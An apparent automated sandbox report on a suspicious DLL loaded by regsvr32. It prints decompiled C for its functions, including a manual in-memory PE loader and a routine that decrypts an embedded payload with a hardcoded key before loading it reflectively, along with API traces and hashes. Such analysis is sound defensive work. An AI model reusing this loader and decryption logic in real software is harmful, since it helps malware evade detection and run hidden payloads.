Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6268 Parent PID: 572

General

Start time:	10:40:09
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 3156 Parent PID: 4352 regsvr32.exeCOMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14%
Total number of Nodes:	1382
Total number of Limit Nodes:	15

Executed Functions

Function 10002900, Relevance: 22.8, APIs: 15, Instructions: 331
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E10002900(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				signed short* _v16;
				void* _v20;
				void* _v24;
				long _v28;
				signed int _v32;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				void* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* _t180;
				void* _t191;
				void* _t198;
				void* _t202;
				intOrPtr _t209;
				void* _t220;
				intOrPtr _t269;
				intOrPtr _t278;
				intOrPtr _t326;

				_v100 = __ecx;
				_v72 = 0;
				_v20 = 0;
				if(E10001FE0(_v100, _a8, 0x40) != 0) {
					_v16 = _a4;
					if(( *_v16 & 0x0000ffff) == 0x5a4d) {
						_t10 =  &(_v16[0x1e]); // 0x47e81005
						if(E10001FE0(_v100, _a8,  *_t10 + 0xf8) != 0) {
							_t15 =  &(_v16[0x1e]); // 0x47e81005
							_v80 = _a4 +  *_t15;
							if( *_v80 == 0x4550) {
								if(( *(_v80 + 4) & 0x0000ffff) == 0x14c) {
									if(( *(_v80 + 0x38) & 0x00000001) == 0) {
										_v84 = _v80 + ( *(_v80 + 0x14) & 0x0000ffff) + 0x18;
										_v32 =  *(_v80 + 0x38);
										_v12 = 0;
										while(_v12 < ( *(_v80 + 6) & 0x0000ffff)) {
											if( *((intOrPtr*)(_v84 + 0x10)) != 0) {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) +  *((intOrPtr*)(_v84 + 0x10));
											} else {
												_v88 =  *((intOrPtr*)(_v84 + 0xc)) + _v32;
											}
											if(_v88 > _v20) {
												_v20 = _v88;
											}
											_v12 = _v12 + 1;
											_v84 = _v84 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v68); // executed
										_v28 =  *((intOrPtr*)(_v80 + 0x50)) + _v64 - 0x00000001 &  !(_v64 - 1);
										_t65 = _v64 - 1; // -1
										if(_v28 == (_v20 + _t65 &  !(_v64 - 1))) {
											_t180 = VirtualAlloc( *(_v80 + 0x34), _v28, 0x3000, 4); // executed
											_v24 = _t180;
											if(_v24 != 0) {
												L26:
												_v72 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v72 != 0) {
													 *((intOrPtr*)(_v72 + 4)) = _v24;
													asm("sbb edx, edx");
													 *(_v72 + 0x14) =  ~( ~( *(_v80 + 0x16) & 0x2000));
													 *((intOrPtr*)(_v72 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v72 + 0x20)) = _a16;
													 *((intOrPtr*)(_v72 + 0x24)) = _a20;
													 *((intOrPtr*)(_v72 + 0x28)) = _a24;
													 *((intOrPtr*)(_v72 + 0x30)) = _v64;
													if(E10001FE0(_v100, _a8,  *(_v80 + 0x54)) != 0) {
														_t191 = VirtualAlloc(_v24,  *(_v80 + 0x54), 0x1000, 4); // executed
														_v8 = _t191;
														E10001E60(_v8, _v16,  *(_v80 + 0x54));
														_t115 =  &(_v16[0x1e]); // 0x47e81005
														 *_v72 = _v8 +  *_t115;
														 *((intOrPtr*)( *_v72 + 0x34)) = _v24;
														_t198 = E10002010(_v100, _a4, _a8, _v80, _v72); // executed
														if(_t198 != 0) {
															_t269 =  *((intOrPtr*)( *_v72 + 0x34)) -  *(_v80 + 0x34);
															_v76 = _t269;
															if(_t269 == 0) {
																 *((intOrPtr*)(_v72 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v72 + 0x18)) = E10002500(_v100, _v72, _v76);
															}
															if(E10002670(_v100, _v72) != 0) {
																_t202 = E10002300(_v100, _v72); // executed
																if(_t202 != 0) {
																	if(E10002480(_v100, _v72) != 0) {
																		if( *((intOrPtr*)( *_v72 + 0x28)) == 0) {
																			 *(_v72 + 0x2c) = 0;
																			L49:
																			return _v72;
																		}
																		if( *(_v72 + 0x14) == 0) {
																			 *(_v72 + 0x2c) = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																			L47:
																			goto L49;
																		}
																		_v96 = _v24 +  *((intOrPtr*)( *_v72 + 0x28));
																		_t209 =  *0x10058ed8; // 0x0
																		_t278 =  *0x10058ed4; // 0x1
																		_t326 =  *0x10058ed0; // 0x10000000
																		_v92 = _v96(_t326, _t278, _t209);
																		if(_v92 != 0) {
																			 *((intOrPtr*)(_v72 + 0x10)) = 1;
																			goto L47;
																		}
																		SetLastError(0x45a);
																		L50:
																		E10002EC0(_v100, _v72);
																		return 0;
																	}
																	goto L50;
																}
																goto L50;
															}
															goto L50;
														}
														goto L50;
													}
													goto L50;
												}
												VirtualFree(_v24, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t220 = VirtualAlloc(0, _v28, 0x3000, 4); // executed
											_v24 = _t220;
											if(_v24 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x10002906
0x10002909
0x10002910
0x10002927
0x10002933
0x10002941
0x10002958
0x10002970
0x1000297f
0x10002982
0x1000298e
0x100029af
0x100029cc
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0x100029fa
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0x10002abe
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0x10002af2
0x10002b03
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0x10002b32
0x10002b44
0x10002b4b
0x10002b54
0x10002b5d
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0x10002b6f
0x10002b78
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0x10002bae
0x10002bb4
0x10002bc6
0x10002bd4
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0x10002be4
0x10002bfa
0x10002c01
0x10002c18
0x10002c1b
0x10002c1e
0x10002c3b
0x10002c20
0x10002c33
0x10002c33
0x10002c50
0x10002c63
0x10002c6a
0x10002c84
0x10002c96
0x10002d00
0x10002d07
0x00000000
0x10002d07
0x10002c9f
0x10002cf8
0x10002cfb
0x00000000
0x10002cfb
0x10002cac
0x10002caf
0x10002cb5
0x10002cbc
0x10002cc6
0x10002ccd
0x10002ce1
0x00000000
0x10002ce1
0x10002cd4
0x10002d0c
0x10002d13
0x00000000
0x10002d18
0x00000000
0x10002c86
0x00000000
0x10002c6c
0x00000000
0x10002c52
0x00000000
0x10002c03
0x00000000
0x10002b92
0x10002b17
0x10002b1f
0x00000000
0x10002b25
0x10002ad4
0x10002ada
0x10002ae1
0x00000000
0x00000000
0x10002ae5
0x00000000
0x10002aeb
0x10002a99
0x00000000
0x10002a9f
0x100029d3
0x00000000
0x100029d9
0x100029b6
0x00000000
0x100029bc
0x10002995
0x00000000
0x1000299b
0x00000000
0x10002972
0x10002948
0x00000000
0x1000294e
0x00000000

APIs

Part of subcall function 10001FE0: SetLastError.KERNEL32(0000000D,?,?,10002925,10008AC6,00000040), ref: 10001FF1

SetLastError.KERNEL32(000000C1,10008AC6,00000040), ref: 10002948

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction ID: 2ef2df373ea658209f5af2a718a6df98ca9e1c1927523c70ceffa034f4820264
Opcode Fuzzy Hash: 08cff93c7344199116f568f774659ccae89e30fc42bc807c3f2613e3b5310ed8
Instruction Fuzzy Hash: 01E1F874A01219EFEB04CF94C994E9EB7B2FF88384F208559E905AB399D770AD46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 100088E0, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 131
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E100088E0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HWND__* _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				struct HWND__* _v32;
				long _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebp;
				void* _t38;
				long _t45;
				long _t47;
				intOrPtr _t56;
				void* _t63;
				intOrPtr _t68;

				_t79 = __esi;
				_t78 = __edi;
				_t64 = __ebx;
				_v56 = _a8;
				 *0x10058ed0 = _a4;
				_t72 = _a8;
				 *0x10058ed4 = _a8;
				 *0x10058ed8 = _a12;
				_v8 = 0;
				_v36 = 0;
				_v28 = 0;
				_v32 = 0;
				_v12 = 0;
				_t38 = E10008860(__eflags); // executed
				if(_t38 != 0) {
					_push(0x10029b4c);
					E1001771B(__ebx, _t72, __edi, __esi, __eflags);
					return 0;
				}
				 *0x10056f08 = 0;
				 *0x10056f0c = 0;
				 *0x10056f10 = 0;
				 *0x10056f18 = 0;
				 *0x10056f14 = 0;
				_v40 = 0x44368d;
				_v52 = 0x3f8fc5;
				_v20 = 0x3b272b;
				_v24 = 0x2feb60;
				_v44 = 0xdd3c;
				_v48 = 0x47c;
				_v36 = 0x24e00;
				_v28 = E10006170(L"kernel32.dll");
				_v32 = E10006170(L"ntdll.dll");
				 *0x10058eb0 = E10006D50(_v28, 0x70e66e6b);
				 *0x10058eb8 = E10006D50(_v28, 0x579606ae);
				_t95 =  *0x10058eb8;
				if( *0x10058eb8 == 0) {
					_t45 = E10017716(0x10029b18);
					_t47 = E10017716("8192") | 0x00001000;
					__eflags = _t47;
					_v12 = VirtualAlloc(0, _v36, _t47, _t45);
				} else {
					_t63 =  *0x10058eb8(0xffffffff, 0, _v36, E10017716("8192") | 0x00001000, E10017716(0x10029b18), 0); // executed
					_v12 = _t63;
				}
				E10016A10(_t64, _t78, _t79, _v12, 0x10032098, _v36);
				_t68 =  *0x10056f04; // 0x730f
				_v16 = E1001703B(_t64, _v36, _t78, _t79, _t68);
				E10002FA0(_t95, _v16, "vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp", 0x6c);
				E10004F00(_v16, _v12, _v36);
				_t56 = E10002D20(0x10058ebc, _v12, _v36); // executed
				 *0x10058edc = _t56;
				ShowWindow(0, _v40);
				return 1;
			}

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APIs

Part of subcall function 10008860: _malloc.LIBCMT ref: 1000886B

_printf.LIBCMT ref: 1000896B
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,00024E00,00000000,00000000,00000000), ref: 10008A2B
VirtualAlloc.KERNEL32(00000000,00024E00,00000000,00000000), ref: 10008A5D
_malloc.LIBCMT ref: 10008A82
ShowWindow.USER32(00000000,0044368D,00000000,00024E00), ref: 10008AD1

Strings

8192, xrefs: 10008A10, 10008A44
ntdll.dll, xrefs: 100089BB
+';, xrefs: 10008988
kernel32.dll, xrefs: 100089AB
`/, xrefs: 1000898F
vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp, xrefs: 10008A8F

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocVirtual_malloc$NumaShowWindow_printf
String ID: +';$8192$`/$kernel32.dll$ntdll.dll$vzyxQQjtnPpM1kMtP2^c)toAOgGzJnA(x4n)mZV?Zgqbqls>&28Kb303hUncVaad@?N*A%W2eBhDNd+m_Bl2cFznqh*vrDpHPGj%?_!pbLp
API String ID: 1487653210-3670691644
Opcode ID: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction ID: 74e036033439e47f0f6271ee42a165f027743cdfe4c2c4d01037afcb8f86e406
Opcode Fuzzy Hash: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction Fuzzy Hash: FE5141F5D00214AFEB00CF90EC96BAE77B4FB48344F144528E909BB345E775A6448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10013A9B, Relevance: 16.6, APIs: 11, Instructions: 103
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E10013A9B() {
				struct _CRITICAL_SECTION* _v4;
				char _v28;
				char _v36;
				char _v44;
				intOrPtr _v56;
				void* __ebx;
				intOrPtr __ecx;
				signed int __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t39;
				intOrPtr _t40;
				void* _t41;
				long _t44;
				void* _t45;
				signed int* _t51;
				intOrPtr _t64;
				long _t68;
				void* _t69;
				void* _t70;
				signed int _t72;
				intOrPtr _t78;
				signed int _t82;
				void* _t86;
				signed int _t88;
				void* _t90;
				void* _t91;
				void* _t93;

				_push(_t72);
				_push(_t69);
				_push(_t88);
				_t86 = _t72;
				_t1 = _t86 + 0x1c; // 0x1005aaa8
				_t39 = _t1;
				_v4 = _t39;
				EnterCriticalSection(_t39);
				_t3 = _t86 + 4; // 0x20
				_t40 =  *_t3;
				_t4 = _t86 + 8; // 0x3
				_t82 =  *_t4;
				if(_t82 >= _t40) {
					L7:
					_t82 = 1;
					__eflags = _t40 - 1;
					if(_t40 <= 1) {
						L12:
						_t21 = _t40 + 0x20; // 0x40
						_t88 = _t21;
						_t22 = _t86 + 0x10; // 0xd74820
						_t41 =  *_t22;
						__eflags = _t41;
						if(__eflags != 0) {
							_t69 = GlobalHandle(_t41);
							GlobalUnlock(_t69);
							_t44 = E100134F9(_t72, __eflags, _t88, 8);
							_t72 = 0x2002;
							_t45 = GlobalReAlloc(_t69, _t44, ??);
						} else {
							_t68 = E100134F9(_t72, __eflags, _t88, 8);
							_pop(_t72);
							_t45 = GlobalAlloc(2, _t68); // executed
						}
						__eflags = _t45;
						if(_t45 != 0) {
							_t70 = GlobalLock(_t45);
							_t25 = _t86 + 4; // 0x20
							__eflags = _t88 -  *_t25 << 3;
							E100174D0(_t82, _t70 +  *_t25 * 8, 0, _t88 -  *_t25 << 3);
							 *(_t86 + 4) = _t88;
							 *(_t86 + 0x10) = _t70;
							goto L20;
						} else {
							_t23 = _t86 + 0x10; // 0xd74820
							_t86 =  *_t23;
							__eflags = _t86;
							if(_t86 != 0) {
								GlobalLock(GlobalHandle(_t86));
							}
							LeaveCriticalSection(_v4);
							_push(_t88);
							_t90 = _t93;
							_push(_t72);
							_v28 = 0x10057168;
							E10017C83( &_v28, 0x1002e258);
							asm("int3");
							_push(_t90);
							_t91 = _t93;
							_push(_t72);
							_v36 = 0x10057200;
							E10017C83( &_v36, 0x1002e2b8);
							asm("int3");
							_push(_t91);
							_push(_t72);
							_v44 = 0x10057298;
							E10017C83( &_v44, 0x1002e2fc);
							asm("int3");
							_push(4);
							E10017BC1(E10027DEC, _t69, _t82, _t86);
							_t78 = E10013965(0x104);
							_v56 = _t78;
							_t64 = 0;
							_v44 = 0;
							if(_t78 != 0) {
								_t64 = E1000CF71(_t78);
							}
							return E10017C60(_t64);
						}
					} else {
						_t18 = _t86 + 0x10; // 0xd74820
						_t72 =  *_t18 + 8;
						__eflags = _t72;
						while(1) {
							__eflags =  *_t72 & 0x00000001;
							if(( *_t72 & 0x00000001) == 0) {
								break;
							}
							_t82 = _t82 + 1;
							_t72 = _t72 + 8;
							__eflags = _t82 - _t40;
							if(_t82 < _t40) {
								continue;
							}
							break;
						}
						__eflags = _t82 - _t40;
						if(_t82 < _t40) {
							goto L20;
						} else {
							goto L12;
						}
					}
				} else {
					_t13 = __esi + 0x10; // 0xd74820
					__ecx =  *_t13;
					__eflags =  *(__ecx + __edi * 8) & 0x00000001;
					if(( *(__ecx + __edi * 8) & 0x00000001) == 0) {
						L20:
						_t30 = _t86 + 0xc; // 0x3
						__eflags = _t82 -  *_t30;
						if(_t82 >=  *_t30) {
							_t31 = _t82 + 1; // 0x4
							 *((intOrPtr*)(_t86 + 0xc)) = _t31;
						}
						_t33 = _t86 + 0x10; // 0xd74820
						_t51 =  *_t33 + _t82 * 8;
						 *_t51 =  *_t51 | 0x00000001;
						__eflags =  *_t51;
						_t37 = _t82 + 1; // 0x4
						 *(_t86 + 8) = _t37;
						LeaveCriticalSection(_v4);
						return _t82;
					} else {
						goto L7;
					}
				}
			}

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APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013AAA
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013B00
GlobalHandle.KERNEL32(00D74820), ref: 10013B09
GlobalUnlock.KERNEL32(00000000,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B12
GlobalReAlloc.KERNEL32 ref: 10013B29
GlobalHandle.KERNEL32(00D74820), ref: 10013B3B
GlobalLock.KERNEL32 ref: 10013B42
LeaveCriticalSection.KERNEL32(?,?,?,?,?,1005AA8C,10013DEC,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004), ref: 10013B4C
GlobalLock.KERNEL32 ref: 10013B58
_memset.LIBCMT ref: 10013B71
LeaveCriticalSection.KERNEL32(?), ref: 10013B9D

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction ID: d2dedea389880cd6532a8cc41d1f31ca5a81082a511f3f96b23d25218acb7329
Opcode Fuzzy Hash: db40230195121c03edd1d9de773089a9b398076d37fb16ef380e98a53d4696a6
Instruction Fuzzy Hash: 5F31C1312043129FE720CF34CC8DA2A77E9FF84280B12891DE996C7651EB30F885CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E10016380(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x1002f780);
				_t8 = E1001984C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E10019891(_t8);
				}
				if( *0x1005c984 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x1005ad4c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E10017D62(_t31);
						 *_t10 = E10017D27(GetLastError());
					}
					goto L9;
				}
				E1001A549(4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E1001A5C2(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E1001A5ED();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E100163D6();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

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APIs

__lock.LIBCMT ref: 1001639E

Part of subcall function 1001A549: __mtinitlocknum.LIBCMT ref: 1001A55D
Part of subcall function 1001A549: __amsg_exit.LIBCMT ref: 1001A569
Part of subcall function 1001A549: EnterCriticalSection.KERNEL32(00000001,00000001,?,1001C014,0000000D,1002FA58,00000008,1001C106,00000001,?,?,00000001,?,?,10017AE8,00000001), ref: 1001A571

___sbh_find_block.LIBCMT ref: 100163A9
___sbh_free_block.LIBCMT ref: 100163B8
RtlFreeHeap.NTDLL(00000000,?,1002F780,0000000C,1001BF6A,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562), ref: 100163E8
GetLastError.KERNEL32(?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001,00000001,?,1001C014,0000000D,1002FA58), ref: 100163F9

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction ID: 632ebcc47bfd7d50c2ae726889ea94072d2ceb4c664f4e9832d4c107bd8c1e1e
Opcode Fuzzy Hash: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction Fuzzy Hash: EE01D635805326EBEF20DBB4AC0AB9D3BF4EF053A0F214109F554AE091CB34EAC19A64

Uniqueness

Uniqueness Score: -1.00%

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E100021D0(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				long _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				int _t67;

				_v28 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						asm("sbb ecx, ecx");
						_v16 =  ~( ~(_a8[3] & 0x20000000));
						asm("sbb eax, eax");
						_v24 =  ~( ~(_a8[3] & 0x40000000));
						asm("sbb edx, edx");
						_v12 =  ~( ~(_a8[3] & 0x80000000));
						_t39 = _v24 * 8; // 0x10056f20
						_v20 =  *((intOrPtr*)((_v16 << 4) + _t39 + 0x10056f20 + _v12 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v20 = _v20 | 0x00000200;
						}
						_t67 = VirtualProtect( *_a8, _a8[2], _v20,  &_v8); // executed
						if(_t67 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 == _a8[1] && (_a8[4] != 0 ||  *((intOrPtr*)( *_a4 + 0x38)) ==  *(_a4 + 0x30) || _a8[2] %  *(_a4 + 0x30) == 0)) {
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
					}
					return 1;
				}
				return 1;
			}

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0x10002244
0x10002244
0x00000000
0x1000224a
0x00000000

APIs

VirtualFree.KERNELBASE(00000000,?,00004000,?,10002468,00000001,00000000,?,10002C68,?,?,?,?,10002C68,00000000,00000000), ref: 10002244

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction ID: def7816fd77fd5aef653724919a03fde70f7e86383ff2ba96e4cf8bb5acc80b5
Opcode Fuzzy Hash: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction Fuzzy Hash: 5A41B674600109AFEB44CF98C890BA9B7B6FB88350F25C659EC1A9F395C731EE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1001A305(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t7;
				void* _t10;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x1005ad4c = _t6;
				if(_t6 != 0) {
					_t7 = E1001A2AA(__eflags);
					__eflags = _t7 - 3;
					 *0x1005c984 = _t7;
					if(_t7 != 3) {
						L5:
						__eflags = 1;
						return 1;
					} else {
						_t10 = E1001A57A(0x3f8);
						__eflags = _t10;
						if(_t10 != 0) {
							goto L5;
						} else {
							HeapDestroy( *0x1005ad4c);
							 *0x1005ad4c =  *0x1005ad4c & 0x00000000;
							goto L1;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x1001a316
0x1001a31e
0x1001a323
0x1001a328
0x1001a32d
0x1001a330
0x1001a335
0x1001a35b
0x1001a35d
0x1001a35e
0x1001a337
0x1001a33c
0x1001a341
0x1001a344
0x00000000
0x1001a346
0x1001a34c
0x1001a352
0x00000000
0x1001a352
0x1001a344
0x1001a325
0x1001a325
0x1001a327
0x1001a327

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,1001796A,00000001,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C), ref: 1001A316
HeapDestroy.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001A34C

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
